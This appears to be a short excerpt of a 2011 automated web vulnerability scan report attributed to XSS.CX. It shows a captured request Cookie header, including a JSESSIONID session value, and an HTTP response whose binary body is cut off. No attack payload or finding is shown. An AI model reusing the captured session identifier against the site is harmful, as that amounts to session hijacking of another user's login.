Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803821902; TS=2011%2D09%2D15%2015%3A41%3A42; COMPONENTID=0; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.1.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.1.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; cs=Typed%2FBookmarked; ctc2=2; s_sq=%5B%5BB%5D%5D; s_len=1201; IPE_S_51093=51093; style=null

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:41:54 GMT
Server: Apache
Last-Modified: Mon, 16 May 2011 19:14:40 GMT
ETag: "e36"
Accept-Ranges: bytes
Content-Length: 3638
Content-Type: text/plain; charset=UTF-8

..............h...&... ..............(....... ...........@...............................~........SS...b..V.......s._........n,..;2...R.........hh..8...vH.......D......R(.{ ......t    
..b@...6..P?..{
...[SNIP]...

Report generated by XSS.CX at Thu Sep 15 19:54:54 GMT-06:00 2011.